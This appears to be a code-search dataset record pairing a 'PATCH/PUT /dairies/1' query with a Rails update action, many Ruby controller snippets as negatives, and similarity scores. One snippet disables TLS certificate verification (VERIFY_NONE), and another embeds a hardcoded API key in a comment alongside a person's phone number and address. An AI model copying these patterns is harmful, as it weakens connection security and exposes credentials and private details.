|request|\n request.url routes_path\n request.body = payload\n request.headers['Content-Type'] = 'application/json'\n end\n end\n end", "def create\n @candy = PendingCandy.new(params[:candy])\n\n respond_to do |format|\n if @candy.save\n logger.info \"candy saved successfully\"\n\tlogger.info @candy.to_json\n format.html { redirect_to @candy, :notice => 'Candy was successfully created.' }\n format.json { render :json => { :status => 200, :candy => @candy } }\n else\n logger.info \"error saving candy\"\n logger.info @candy.errors.full_messages\n format.html { render :action => \"new\" }\n format.json { render :json => {:message => @candy.errors.full_messages.join(\"\\n\"), :status => 404} }\n end\n end\n end", "def create\n #api_key = \"cb8d3966-e1c6-4429-a8cf-b615523481c4\"\n\n @item = Item.new(item_params)\n\n @swift_api_key = SwiftApiKey.first\n\n api_key = @swift_api_key.key\n\n HTTParty.post(\"https://app.getswift.co/api/v2/deliveries\",\n {\n :body => {\n \"apiKey\": api_key,\n \"booking\":{\n \"items\": [{\n \"quantity\": @item.quantity,\n \"sku\": @item.sku,\n \"description\": @item.description,\n \"price\": @item.price\n }],\n \"pickupDetail\": {\n \"name\": \"Marko\",\n \"phone\": \"604 356 8259\",\n \"address\": \"301 Maude Road, Port Moody, V3H5B1\"\n },\n \"dropoffDetail\": {\n \"name\": @item.name,\n \"phone\": @item.phone,\n \"address\": @item.address\n }\n }\n }.to_json,\n :headers => { 'Content-Type' => 'application/json' }\n }\n )\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @diario = Diario.new(diario_params)\n\n respond_to do |format|\n if @diario.save\n format.html { redirect_to @diario, notice: \"Diario was successfully created.\" }\n format.json { render :show, status: :created, location: @diario }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @diario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "def post(path, data = {}, params = {})\n body = data.to_json\n path = File.join(@prefix, path)\n\n response = @conn.post(path, body) do |req|\n req.params = params\n req.headers['Content-Type'] = 'application/json'\n end\n\n JSON.parse response.body\n end", "def create\n @daw_retiro = DawRetiro.new(daw_retiro_params)\n\n respond_to do |format|\n if @daw_retiro.save\n format.html { redirect_to @daw_retiro, notice: 'Daw retiro was successfully created.' }\n format.json { render :show, status: :created, location: @daw_retiro }\n else\n format.html { render :new }\n format.json { render json: @daw_retiro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:bubble_tea][:store_id] = params[:id] unless params[:bubble_tea][:store_id].present?\n @bubble_tea = BubbleTea.new(bubble_tea_params)\n\n if @bubble_tea.save\n # successful bubble tea drink creation\n render json: @bubble_tea\n else\n render plain: \"Failed to save drink.\"\n end\n end", "def create\n @adversaire = Adversaire.new(params[:adversaire])\n @equipe = Equipe.find(params[:equipe_id])\n\n respond_to do |format|\n if @adversaire.save\n format.html { redirect_to @equipe, :notice => 'Adversaire was successfully created.' }\n format.json { render :json => @adversaire, :status => :created, :location => @equipe }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @adversaire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @duck = Duck.new(params[:duck])\n\n respond_to do |format|\n if @duck.save\n format.html { redirect_to @duck, notice: 'Duck was successfully created.' }\n format.json { render json: @duck, status: :created, location: @duck }\n else\n format.html { render action: \"new\" }\n format.json { render json: @duck.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fact = @cat.facts.create!({ fact: api_request })\n if @fact.save\n render json: @fact\n else\n render error: { message: \"Nรฃo foi possรญvel criar esse fato para este gatinho! :(\" }, status: 400\n end\n end", "def create\n dish = Dish.where(name: params[:name]).first\n dish ||= Dish.create(name: params[:name], party: current_party, price: params[:price])\n\n OrderItem.create(user: current_user, dish: dish)\n\n render json: { :name => dish.name, :price => dish.price, :participants => [current_user.login] }\n end", "def create\n @diary = Diary.create!(params[:diary])\n respond_to do |format|\n format.html { redirect_to diaries_url }\n format.js\n end\n end", "def index\n @dices = Dice.all\n\n render json: @dices\n end", "def create\n @diet_dish = DietDish.new(diet_dish_params)\n\n respond_to do |format|\n if @diet_dish.save\n format.html { redirect_to @diet_dish, notice: 'Diet dish was successfully created.' }\n format.json { render action: 'show', status: :created, location: @diet_dish }\n else\n format.html { render action: 'new' }\n format.json { render json: @diet_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @disease = Disease.new(params[:disease])\n\n respond_to do |format|\n if @disease.save\n format.html { redirect_to @disease, notice: 'Disease was successfully created.' }\n format.json { render json: @disease, status: :created, location: @disease }\n else\n format.html { render action: \"new\" }\n format.json { render json: @disease.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n passenger = Passenger.new(:name => params[:name], :contact_number => params[:contact_number], :nationality => params[:nationality], :meal_pref => params[:meal_pref])\n passenger.save\n render :json => passenger\n end", "def api_post(path, data = {})\n api_request(:post, path, :data => data)\n end", "def create\n @kadai = Kadai.new(kadai_params)\n\n respond_to do |format|\n if @kadai.save\n format.html { redirect_to @kadai, notice: 'Kadai was successfully created.' }\n format.json { render :show, status: :created, location: @kadai }\n else\n format.html { render :new }\n format.json { render json: @kadai.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @diary_entry = DiaryEntry.new(diary_entry_params)\n\n respond_to do |format|\n if @diary_entry.save\n format.html { redirect_to @diary_entry, notice: 'Diary entry was successfully created.' }\n format.json { render :show, status: :created, location: @diary_entry }\n else\n format.html { render :new }\n format.json { render json: @diary_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @diary = current_user.diaries.build(params[:diary]) if current_user\n\n respond_to do |format|\n if @diary.save\n format.html { redirect_to @diary, notice: 'Diary was successfully created.' }\n format.json { render json: @diary, status: :created, location: @diary }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diary.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, params = nil)\n response = @connection.post do |req|\n req.headers = generate_headers\n req.url path\n req.body = params.to_json\n end\n Arke::Log.fatal(build_error(response)) if response.env.status != 201\n response\n end", "def create\n @food = @fridge.foods.create(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end", "def create\n @diary_entry = DiaryEntry.new(diary_entry_params)\n\n respond_to do |format|\n if @diary_entry.save\n format.html { redirect_to @diary_entry, notice: 'Diary entry was successfully created.' }\n format.json { render :show, status: :created, location: @diary_entry }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @diary_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @baby = Baby.find(params[:baby_id])\n @day = Day.new(day_params)\n @day.baby_id = @baby.id\n @day.user_id = @user.id\n respond_to do |format|\n if @day.save\n @baby.days << @day\n @user.days << @day\n format.html { redirect_to baby_path(@baby), notice: 'Day was successfully created.' }\n # format.json { render :show, status: :created, location: @day }\n else\n format.html { render :new }\n # format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @duck = Duck.new(duck_params)\n\n respond_to do |format|\n if @duck.save\n format.html { redirect_to @duck, notice: 'Duck was successfully created.' }\n format.json { render :show, status: :created, location: @duck }\n else\n format.html { render :new }\n format.json { render json: @duck.errors, status: :unprocessable_entity }\n end\n end\n end", "def add\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:recipe_id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] #hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n recipe_data = JSON.parse response.read_body\r\n recipe = Recipe.create :title => recipe_data[\"title\"], :image => recipe_data[\"image\"]\r\n @current_user.recipes << recipe # add recipe to My Recipes\r\n\r\n redirect_to my_recipes_path\r\n end", "def create_doi\n response = RestClient.post DoiConfig.url_for_creating_doi, data, :content_type => 'text/plain'\n return response\n end", "def create\n @duck = Duck.new(duck_params)\n\n respond_to do |format|\n if @duck.save\n format.html { redirect_to @duck, notice: 'Duck was successfully created.' }\n format.json { render action: 'show', status: :created, location: @duck }\n else\n format.html { render action: 'new' }\n format.json { render json: @duck.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, data={})\n request(:post, path, data)\n end", "def create\n @dish = @cafeteria.dishes.new(dish_params)\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @cafeteria, notice: 'El plato se ha creado.' }\n format.json { render :show, status: :created, location: @dish }\n else\n format.html { redirect_to @cafeteria, alert: 'No se pudo crear el plato.' }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n #puts \"๐Ÿค– POST #{path}\"\n #puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n #puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n #puts result[:result]\n result\nend", "def create\n @fooddiary = @food.fooddiaries.new(fooddiary_params)\n @fooddiary.user_id = current_user.id\n @fooddiary.name = @food.name\n @fooddiary.eiweiรŸ = @food.eiweiรŸ\n @fooddiary.fett = @food.fett\n @fooddiary.kohlenhydrate = @food.kohlenhydrate\n @fooddiary.kalorien = @food.kalorien\n respond_to do |format|\n if @fooddiary.save\n format.html { redirect_to foods_path }\n format.json { render :show, status: :created, location: @fooddiary }\n else\n format.html { render :new }\n format.json { render json: @fooddiary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dinosaur = Dinosaur.new(params[:dinosaur])\n\n respond_to do |format|\n if @dinosaur.save\n format.html { redirect_to @dinosaur, notice: 'Dinosaur was successfully created.' }\n format.json { render json: @dinosaur, status: :created, location: @dinosaur }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dinosaur.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts JSON.pretty_generate(result)\n result\nend", "def create\n @dna = Dna.new(dna_params)\n\n if @dna.save\n render json: @dna, status: :created, location: @dna\n else\n render json: @dna.errors, status: :unprocessable_entity\n end\n end", "def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def create\n @doctor = Doctor.new(params[:doctor])\n\n if @doctor.save\n render json: @doctor, status: :created, location: @doctor\n else\n render json: @doctor.errors, status: :unprocessable_entity\n end\n end", "def create\n @field_diary = FieldDiary.new(field_diary_params)\n @field_diary.user_id = current_user.id\n respond_to do |format|\n if @field_diary.save\n format.html { redirect_to @field_diary, notice: 'Field diary was successfully created.' }\n format.json { render :show, status: :created, location: @field_diary }\n else\n format.html { render :new }\n format.json { render json: @field_diary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @award = Award.new(award_params)\n respond_to do |format|\n if @award.save\n a_data = JSON.parse params[:json_string]\n a_data.each do |a|\n @item = get_new_award_item(@award, a) unless a.nil?\n end\n AwardMailer.approval_request(@award)\n if current_user.admin\n format.html { redirect_to patient_path(@award.patient), notice: 'Award was successfully created.' }\n else\n format.html { redirect_to new_patient_path, notice: 'Award was successfully created.' }\n end\n format.json { render :show, status: :created, location: @award }\n else\n format.html { render :new }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_flight_creation(body)\r\n # Prepare query url.\r\n _path_url = '/v1/airline/flights'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n Response.from_hash(decoded)\r\n end", "def create\n recipe = Recipe.create(recipe_params)\n render json: recipe\n end", "def create\n streak, success = jsonapi_create.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end", "def create\n @readie = Readie.new\n\n respond_to do |format|\n if @readie.save\n format.json { render @readie, status: :created }\n else\n format.json { render json: @readie.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def create\n @accessory = Accessory.new(params[:accessory])\n\n if @accessory.save\n render json: @accessory, status: :created, location: @accessory\n else\n render json: @accessory.errors, status: :unprocessable_entity\n end\n end", "def create\n # Loggin data from POST\n logger.debug \"--\" * 50\n logger.debug \"Data from POST: #{params.inspect}\"\n logger.debug \"--\" * 50\n\n @nasp_rail = NaspRail.new(params.keep_if { |key, value| NaspRail.column_names.include? key })\n\n respond_to do |format|\n if @nasp_rail.save\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @nasp_rail.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n if @pizza.save\n ActionCable.server.broadcast 'pizzas', {}\n render json: @pizza\n else\n render json: @pizza.errors, status: :unprocessable_entity\n end\n end", "def create\n @disease = Disease.new(disease_params)\n\n respond_to do |format|\n if @disease.save\n format.html { redirect_to @disease, notice: 'Disease was successfully created.' }\n format.json { render :show, status: :created, location: @disease }\n else\n format.html { render :new }\n format.json { render json: @disease.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @disease = Disease.new(disease_params)\n\n respond_to do |format|\n if @disease.save\n format.html { redirect_to @disease, notice: 'Disease was successfully created.' }\n format.json { render :show, status: :created, location: @disease }\n else\n format.html { render :new }\n format.json { render json: @disease.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(*args)\n super(*wrap_for_json_api(*args))\n end", "def create\n @doador_animal = DoadorAnimal.new(params[:doador_animal])\n\n respond_to do |format|\n if @doador_animal.save\n format.html { redirect_to @doador_animal, notice: 'Doador animal was successfully created.' }\n format.json { render json: @doador_animal, status: :created, location: @doador_animal }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doador_animal.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dino = Dino.new(dino_params)\n\n respond_to do |format|\n if @dino.save\n format.html { redirect_to @dino, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @dino }\n else\n format.html { render :new }\n format.json{ render json: @dino.errors, status: :unprocessable_entity }\n end\n end\nend", "def create\n @aki_diagnosis = AkiDiagnosis.new(aki_diagnosis_params)\n\n respond_to do |format|\n if @aki_diagnosis.save\n format.html { redirect_to @aki_diagnosis, notice: 'Diagnosis aki was successfully created.' }\n format.json { render :show, status: :created, location: @aki_diagnosis }\n else\n format.html { render :new }\n format.json { render json: @aki_diagnosis.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @desafio = Desafio.new(desafio_params)\n\n respond_to do |format|\n if @desafio.save\n format.html { redirect_to @desafio, notice: 'Desafio was successfully created.' }\n format.json { render :show, status: :created, location: @desafio }\n else\n format.html { render :new }\n format.json { render json: @desafio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @apprendice = Apprendice.new(apprendice_params)\n\n respond_to do |format|\n if @apprendice.save\n format.html { redirect_to @apprendice, notice: 'Apprendice was successfully created.' }\n format.json { render :show, status: :created, location: @apprendice }\n else\n format.html { render :new }\n format.json { render json: @apprendice.errors, status: :unprocessable_entity }\n end\n end\n end", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def create\n @iceandfire = Iceandfire.new(iceandfire_params)\n\n respond_to do |format|\n if @iceandfire.save\n format.html { redirect_to @iceandfire, notice: 'Reading List was successfully created.' }\n format.json { render :show, status: :created, location: @iceandfire }\n else\n format.html { render :new }\n format.json { render json: @iceandfire.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n megam_rest.post_billedhistories(to_hash)\n end", "def create\n @bowler = Bowler.new(bowler_params)\n @bowler.save\n respond_with(@bowler)\n end", "def create\n\t\t# A drink is instantiated by the current user\n\t\t@drink = current_user.drinks.build(drink_params)\n\t\t# If the drink instance is saved as a record in our db\n\t\tif\t@drink.save \n\t\t\t# render json for that drink instance\n\t\t\trender :json => @drink\n\t\telse \n\t\t\t# otherwise render json in the for of an error\n\t\t\trender :json => { :errors => @drink.errors.full_messages}, :status => 422\n\t\tend\n\tend", "def adquirir(id)\n @client.post(Route.new([ROTA_DID_ESTOQUE, id.to_s]))\n end", "def create\n @dinosaur = Dinosaur.new(dinosaur_params)\n\n respond_to do |format|\n if @dinosaur.save\n format.html { redirect_to @dinosaur, notice: \"Dinosaur was successfully created.\" }\n format.json { render :show, status: :created, location: @dinosaur }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @dinosaur.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def create\n json_response(current_restaurant.restaurant_food_items.create!(food_item_params), :created)\n end", "def create\n @dinosaur = Dinosaur.new(dinosaur_params)\n\n respond_to do |format|\n if @dinosaur.save\n format.html { redirect_to @dinosaur, notice: 'Dinosaur was successfully created.' }\n format.json { render :show, status: :created, location: @dinosaur }\n else\n format.html { render :new }\n format.json { render json: @dinosaur.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @suffereded_disease = SufferededDisease.new(suffereded_disease_params)\n\n respond_to do |format|\n if @suffereded_disease.save\n format.html { redirect_to @suffereded_disease, notice: \"Suffereded disease was successfully created.\" }\n format.json { render :show, status: :created, location: @suffereded_disease }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @suffereded_disease.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dow = Dow.new(dow_params)\n\n respond_to do |format|\n if @dow.save\n format.html { redirect_to @dow, notice: 'Dow was successfully created.' }\n format.json { render :show, status: :created, location: @dow }\n else\n format.html { render :new }\n format.json { render json: @dow.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{uri}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def post(path, params={})\n params[:apikey] = self.api_key\n RestClient::Request.execute(\n :method => :post,\n :url => \"#{self.uri}#{path}\",\n :headers=> {},\n :payload=> params,\n :verify_ssl=> @ssl_verify )\n end", "def create_day\n trip = Trip.find(params[:id])\n offset = 0\n trip.days.all.each do |day|\n offset += 1\n end\n @day = Day.new({\"date\" => trip.beginning + offset , \"trip\" => trip})\n trip.update_attribute(:duration, trip.attributes['duration'] + 1)\n trip.save\n respond_to do |format|\n if @day.save\n format.html { redirect_to trip, notice: 'Day was successfully created.' }\n format.json { render :show, status: :created, location: @day }\n else\n format.html { render home_path }\n format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @readied_item_slot = ReadiedItemSlot.new(readied_item_slot_params)\n\n respond_to do |format|\n if @readied_item_slot.save\n format.html { redirect_to @readied_item_slot, notice: 'Readied item slot was successfully created.' }\n format.json { render :show, status: :created, location: @readied_item_slot }\n else\n format.html { render :new }\n format.json { render json: @readied_item_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def index\n\t\t@dairies = Dairy.all\n\tend", "def create\n @dress = Dress.new(params[:dress])\n\n respond_to do |format|\n if @dress.save\n format.html { redirect_to @dress, notice: 'Dress was successfully created.' }\n format.json { render json: @dress, status: :created, location: @dress }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dress.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dianosaur = Dianosaur.new(dianosaur_params)\n\n respond_to do |format|\n if @dianosaur.save\n format.html { redirect_to @dianosaur, notice: 'Dianosaur was successfully created.' }\n format.json { render :show, status: :created, location: @dianosaur }\n else\n format.html { render :new }\n format.json { render json: @dianosaur.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @datalog = Datalog.new(datalog_params)\n\n respond_to do |format|\n if @datalog.save\n format.html { redirect_to @datalog, notice: 'Datalog was successfully created.' }\n format.json { render :show, status: :created, location: @datalog }\n else\n format.html { render :new }\n format.json { render json: @datalog.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def new\n @kf_diary = Kf::Diary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kf_diary }\n end\n end", "def create\n @drink = Drink.new(drink_params)\n\n respond_to do |format|\n if @drink.save\n format.html { redirect_to new_drink_path, notice: 'Drycken skapades.' }\n format.json { render :show, status: :created, location: @drink }\n else\n format.html { render :new }\n format.json { render json: @drink.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.63165385", "0.58797836", "0.5855163", "0.57870793", "0.57219005", "0.56443614", "0.5641417", "0.56361055", "0.56136733", "0.56121016", "0.555067", "0.5539301", "0.5532932", "0.55167055", "0.5483433", "0.5480721", "0.54800874", "0.54632026", "0.545548", "0.54524815", "0.54475504", "0.54394484", "0.5435258", "0.54021484", "0.5401234", "0.53993076", "0.5396341", "0.53962135", "0.53910595", "0.5387401", "0.53804827", "0.537556", "0.53726876", "0.53661346", "0.5360983", "0.5350267", "0.53423214", "0.5342119", "0.53419536", "0.5338081", "0.53234315", "0.53231174", "0.5320331", "0.53171027", "0.5315879", "0.53076273", "0.529456", "0.5286439", "0.528203", "0.5278299", "0.5276183", "0.52758425", "0.5273784", "0.5273196", "0.52727026", "0.52672654", "0.5260992", "0.52456456", "0.52394116", "0.5239265", "0.5238473", "0.5235478", "0.5226981", "0.5220161", "0.521777", "0.5211834", "0.52111703", "0.52103764", "0.52103764", "0.52068925", "0.51987743", "0.51984", "0.5197261", "0.5195606", "0.5194547", "0.519405", "0.5189906", "0.51895386", "0.5189486", "0.518735", "0.5187304", "0.517842", "0.5169367", "0.5163662", "0.5163624", "0.5161715", "0.51613355", "0.5161221", "0.5156491", "0.5156368", "0.5147104", "0.51428807", "0.51422614", "0.5141476", "0.5141368", "0.5140373", "0.5139959", "0.5139668", "0.5136239", "0.51317894" ]
0.5455448
19
PATCH/PUT /dairies/1 PATCH/PUT /dairies/1.json
def update respond_to do |format| if @dairy.update(dairy_params) format.html { redirect_to @dairy, notice: 'Dairy was successfully updated.' } format.json { render :show, status: :ok, location: @dairy } else format.html { render :edit } format.json { render json: @dairy.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def patch!\n request! :patch\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update # PATCH\n raise NotImplementedError\n end", "def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end", "def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @riesgo.update(riesgo_params)\n format.html { redirect_to @riesgo, notice: 'Riesgo was successfully updated.' }\n format.json { render :show, status: :ok, location: @riesgo }\n else\n format.html { render :edit }\n format.json { render json: @riesgo.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, opts = {})\n request(:patch, path, opts).body\n end", "def patch(path, **args); end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update(data = :object || :json)\n end", "def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(data, &block)\n request :patch, @data[:id], data, &block\n end", "def update\n recipe.update(recipe_params)\n render json: recipe\n end", "def update(path)\n output { patch(path, params) }\n end", "def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end", "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @diet.update(diet_params)\n head :no_content, status: 204\n else\n render json: @diet.errors, status: 422\n end\n end", "def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end", "def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end", "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end", "def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend", "def patch(path, opts = {}, &block)\n request(:patch, path, opts, &block)\n end", "def patch(path, opts = {}, &block)\n request(:patch, 